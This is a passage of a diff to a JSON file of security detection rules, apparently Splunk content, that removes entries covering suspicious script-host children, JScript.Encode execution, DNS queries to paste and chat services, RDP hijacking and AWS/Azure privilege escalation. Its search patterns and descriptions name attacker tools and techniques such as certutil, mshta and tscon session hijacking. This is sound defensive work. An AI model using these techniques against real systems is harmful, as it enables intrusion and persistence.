`windows_privilege_escalation_user_process_spawn_system_process_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The user $user$ launched a process [$process_name$] which spawned a system level integrity process [$system_process$].", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Wscript Or Cscript Suspicious Child Process", - "description": "The following analytic identifies suspicious child processes spawned by WScript or CScript. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific parent and child process names. This activity is significant as adversaries often use WScript or CScript to execute Living Off The Land Binaries (LOLBINs) or other scripts like PowerShell for defense evasion. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"cscript.exe\", \"wscript.exe\") Processes.process_name IN (\"regsvr32.exe\", \"rundll32.exe\",\"winhlp32.exe\",\"certutil.exe\",\"msbuild.exe\",\"cmd.exe\",\"powershell*\",\"wmic.exe\",\"mshta.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wscript_or_cscript_suspicious_child_process_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "FIN7", - "NjRAT", - "Remcos", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "wscript or cscript parent process spawned $process_name$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134.004", - "mitre_attack_technique": "Parent PID Spoofing", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -653519,97 +440035,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "Detect web traffic to dynamic domain providers", - "description": "This search looks for web connections to dynamic DNS providers.", - "search": "| tstats `security_content_summariesonly` count values(Web.url) as url min(_time) as firstTime from datamodel=Web where Web.status=200 by Web.src Web.dest Web.status | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `dynamic_dns_web_traffic` | `detect_web_traffic_to_dynamic_domain_providers_filter`", - "tags": { - "analytic_story": [ - "Dynamic DNS" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1071.001", - "mitre_attack_technique": "Web Protocols", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT28", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Confucius", - "Dark Caracal", - "FIN13", - "FIN4", - "FIN8", - "Gamaredon Group", - "HAFNIUM", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Orangeworm", - "Rancor", - "Rocke", - "Sandworm Team", - "Sidewinder", - "SilverTerrier", - "Stealth Falcon", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "WIRTE", - "Windshift", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [], @@ -654110,484 +440535,6 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" ] - }, - { - "name": "Execute Javascript With Jscript COM CLSID", - "description": "The following analytic detects the execution of JavaScript using the JScript.Encode CLSID (COM Object) by cscript.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and parent processes. This activity is significant as it is a known technique used by ransomware, such as Reddot, to execute malicious scripts and potentially disable AMSI (Antimalware Scan Interface). If confirmed malicious, this behavior could allow attackers to execute arbitrary code, evade detection, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"cscript.exe\" Processes.process=\"*-e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}*\" by Processes.parent_process_name Processes.process_name Processes.process Processes.parent_process Processes.process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `execute_javascript_with_jscript_com_clsid_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious process of cscript.exe with a parent process $parent_process_name$ where it tries to execute javascript using jscript.encode CLSID (COM OBJ), detected on $dest$ by $user$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - } - ] - } - }, - { - "name": "Suspicious Process DNS Query Known Abuse Web Services", - "description": "The following analytic detects a suspicious process making DNS queries to known, abused text-paste web services, VoIP, instant messaging, and digital distribution platforms. It leverages Sysmon Event ID 22 logs to identify queries from processes like cmd.exe, powershell.exe, and others. This activity is significant as it may indicate an attempt to download malicious files, a common initial access technique. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the target host.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*pastebin*\", \"*discord*\", \"*api.telegram*\",\"*t.me*\") process_name IN (\"cmd.exe\", \"*powershell*\", \"pwsh.exe\", \"wscript.exe\",\"cscript.exe\") OR Image IN (\"*\\\\users\\\\public\\\\*\", \"*\\\\programdata\\\\*\", \"*\\\\temp\\\\*\", \"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\appdata\\\\*\", \"*\\\\perflogs\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_dns_query_known_abuse_web_services_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Phemedrone Stealer", - "Remcos", - "Snake Keylogger", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "suspicious process $process_name$ has a dns query in $QueryName$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Suspicious Process With Discord DNS Query", - "description": "The following analytic identifies a process making a DNS query to Discord, excluding legitimate Discord application paths. It leverages Sysmon logs with Event ID 22 to detect DNS queries containing \"discord\" in the QueryName field. This activity is significant because Discord can be abused by adversaries to host and download malicious files, as seen in the WhisperGate campaign. If confirmed malicious, this could indicate malware attempting to download additional payloads from Discord, potentially leading to further code execution and compromise of the affected system.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*discord*\") Image != \"*\\\\AppData\\\\Local\\\\Discord\\\\*\" AND Image != \"*\\\\Program Files*\" AND Image != \"discord.exe\" | stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_process_with_discord_dns_query_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "suspicious process $process_name$ has a dns query in $QueryName$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Vbscript Execution Using Wscript App", - "description": "The following analytic detects the execution of VBScript using the wscript.exe application. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant because wscript.exe is typically not used to execute VBScript, which is usually associated with cscript.exe. This deviation can indicate an attempt to evade traditional process monitoring and antivirus defenses. If confirmed malicious, this technique could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"wscript.exe\" AND Processes.parent_process = \"*//e:vbscript*\") OR (Processes.process_name = \"wscript.exe\" AND Processes.process = \"*//e:vbscript*\") by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processes.process Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vbscript_execution_using_wscript_app_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "FIN7", - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Process name $process_name$ with commandline $process$ to execute vbsscript", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.005", - "mitre_attack_technique": "Visual Basic", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "BRONZE BUTLER", - "Cobalt Group", - "Confucius", - "Earth Lusca", - "FIN13", - "FIN4", - "FIN7", - "Gamaredon Group", - "Gorgon Group", - "HEXANE", - "Higaisa", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Magic Hound", - "Malteiro", - "Molerats", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "Transparent Tribe", - "Turla", - "WIRTE", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } } ], "external_reference": [ @@ -656636,157 +442583,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Windows RDP Connection Successful", - "description": "The following analytic detects successful Remote Desktop Protocol (RDP) connections by monitoring EventCode 1149 from the Windows TerminalServices RemoteConnectionManager Operational log. This detection is significant as successful RDP connections can indicate remote access to a system, which may be leveraged by attackers to control or exfiltrate data. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further lateral movement within the network. Monitoring successful RDP connections is crucial for identifying potential security breaches and mitigating risks promptly.", - "search": "`remoteconnectionmanager` EventCode=1149 | stats count min(_time) as firstTime max(_time) as lastTime by Computer, user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename Computer as dest | `windows_rdp_connection_successful_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "BlackByte Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A successful RDP connection on $dest$ occurred.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1563.002", - "mitre_attack_technique": "RDP Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Axiom" - ] - } - ] - } - }, - { - "name": "Windows Service Create with Tscon", - "description": "The following analytic detects potential RDP Hijacking attempts by identifying the creation of a Windows service using sc.exe with a binary path that includes tscon.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant as it indicates an attacker may be trying to hijack a disconnected RDP session, posing a risk of unauthorized access. If confirmed malicious, the attacker could gain control over an existing user session, leading to potential data theft or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process=\"*/dest:rdp-tcp*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_with_tscon_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to hijack a RDP session.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1563.002", - "mitre_attack_technique": "RDP Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Axiom" - ] - }, - { - "mitre_attack_id": "T1563", - "mitre_attack_technique": "Remote Service Session Hijacking", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -657376,924 +443172,7 @@ "Event ID": null, "Event Name": "Windows event logs" } - ], - { - "name": "AWS CreateAccessKey", - "description": "The following analytic identifies the creation of AWS IAM access keys by a user for another user, which can indicate privilege escalation. It leverages AWS CloudTrail logs to detect instances where the user creating the access key is different from the user for whom the key is created. This activity is significant because unauthorized access key creation can allow attackers to establish persistence or exfiltrate data via AWS APIs. If confirmed malicious, this could lead to unauthorized access to AWS services, data exfiltration, and long-term persistence in the environment.", - "search": "`cloudtrail` eventName = CreateAccessKey userAgent !=console.amazonaws.com errorCode = success | eval match=if(match(userIdentity.userName,requestParameters.userName),1,0) | search match=0 | stats count min(_time) as firstTime max(_time) as lastTime by requestParameters.userName src eventName eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |`aws_createaccesskey_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ is attempting to create access keys for $requestParameters.userName$ from this IP $src$", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS CreateLoginProfile", - "description": "The following analytic identifies the creation of a login profile for one AWS user by another, followed by a console login from the same source IP. It uses AWS CloudTrail logs to correlate the `CreateLoginProfile` and `ConsoleLogin` events based on the source IP and user identity. This activity is significant as it may indicate privilege escalation, where an attacker creates a new login profile to gain unauthorized access. If confirmed malicious, this could allow the attacker to escalate privileges and maintain persistent access to the AWS environment.", - "search": "`cloudtrail` eventName = CreateLoginProfile | rename requestParameters.userName as new_login_profile | table src_ip eventName new_login_profile userIdentity.userName | join new_login_profile src_ip [| search `cloudtrail` eventName = ConsoleLogin | rename userIdentity.userName as new_login_profile | stats count values(eventName) min(_time) as firstTime max(_time) as lastTime by eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn new_login_profile src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`] | `aws_createloginprofile_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ is attempting to create a login profile for $new_login_profile$ and did a console login from this IP $src_ip$", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS UpdateLoginProfile", - "description": "The following analytic detects an AWS CloudTrail event where a user with permissions updates the login profile of another user. It leverages CloudTrail logs to identify instances where the user making the change is different from the user whose profile is being updated. This activity is significant because it can indicate privilege escalation attempts, where an attacker uses a compromised account to gain higher privileges. If confirmed malicious, this could allow the attacker to escalate their privileges, potentially leading to unauthorized access and control over sensitive resources within the AWS environment.", - "search": " `cloudtrail` eventName = UpdateLoginProfile userAgent !=console.amazonaws.com errorCode = success | eval match=if(match(userIdentity.userName,requestParameters.userName), 1,0) | search match=0 | stats count min(_time) as firstTime max(_time) as lastTime by requestParameters.userName src eventName eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.userName user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_updateloginprofile_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "From IP address $src$, user agent $userAgent$ has trigged an event $eventName$ for updating the existing login profile, potentially giving user $user_arn$ more access privilleges", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure Automation Account Created", - "description": "The following analytic detects the creation of a new Azure Automation account within an Azure tenant. It leverages Azure Audit events, specifically the Azure Activity log category, to identify when an account is created or updated. This activity is significant because Azure Automation accounts can be used to automate tasks and orchestrate actions across Azure and on-premise environments. If an attacker creates an Automation account with elevated privileges, they could maintain persistence, execute malicious runbooks, and potentially escalate privileges or execute code on virtual machines, posing a significant security risk.", - "search": " `azure_audit` operationName.localizedValue=\"Create or Update an Azure Automation account\" status.value=Succeeded | dedup object | rename claims.ipaddr as src_ip | rename caller as user | stats count min(_time) as firstTime max(_time) as lastTime values(object) as object by user, src_ip, resourceGroupName, object_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_automation_account_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new Azure Automation account $object$ was created by $user$", - "risk_score": 63, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure Automation Runbook Created", - "description": "The following analytic detects the creation of a new Azure Automation Runbook within an Azure tenant. It leverages Azure Audit events, specifically the Azure Activity log category, to identify when a new Runbook is created or updated. This activity is significant because adversaries with privileged access can use Runbooks to maintain persistence, escalate privileges, or execute malicious code. If confirmed malicious, this could lead to unauthorized actions such as creating Global Administrators, executing code on VMs, and compromising the entire Azure environment.", - "search": " `azure_audit` operationName.localizedValue=\"Create or Update an Azure Automation Runbook\" object!=AzureAutomationTutorial* status.value=Succeeded | dedup object | rename claims.ipaddr as src_ip | rename caller as user | stats count min(_time) as firstTime max(_time) as lastTime by object user, src_ip, resourceGroupName, object_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_automation_runbook_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], 